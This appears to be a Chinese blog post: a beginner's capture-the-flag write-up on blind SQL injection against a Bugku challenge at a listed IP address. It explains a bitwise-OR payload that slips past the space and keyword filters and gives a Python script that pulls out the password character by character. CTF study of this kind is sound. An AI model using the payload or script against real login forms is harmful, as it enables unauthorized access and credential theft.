Menu

SQL盲注新手篇

0 Comment

地址为http://118.89.219.210:49167/index.php(Bugku)

填入username和password之后,Burp抓包,send to repeater分析一下

发现过滤了挺多的,空格,%0a,/**/,and,union等等

但是 |(位或)&(位与)^(位异或)没有过滤掉

这里的话应该来说都可以用,我试了一下|(位或)和 ^(位异或),这两个都是可以的

构造一个payload语句为:

username=admin’|(ascii(mid((password)from(1)))>53)#&password=sd

函数介绍:

MID(column_name,start[,length])   因为过滤掉空格的原因,才用上述格式

ASCII() 返回字符表达式最左端字符的ASCII 码值

当第一字母的ascii码值为53的时候,右边的表示式则为false,与‘admin’ 或,false|‘admin’   相当与   0 | 0 结果为0,当username=0时,返回查询字段的所以数据,相当于where true(只要username没有以数字开头的)这里注意⚠按位或的优先级高于=,所以是先按位或再赋值给username。

先判断字段长度:

根据页面信息判断为32位

原理都讲得差不多了,下面可以写一个Python脚本跑出来

import requests
url = "http://118.89.219.210:49167/index.php"
r = requests.Session()
result=''
for i in range(1,33):
 for j in range(37,127):
  payload = "admin'|(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
  data={"username":payload,"password":"psdvs"}
  print payload
  html=r.post(url,data=data)
  if "password error" in html.content:
   result+=chr(j)
   print result
   break
print result

结果为:

发表评论

电子邮件地址不会被公开。 必填项已用*标注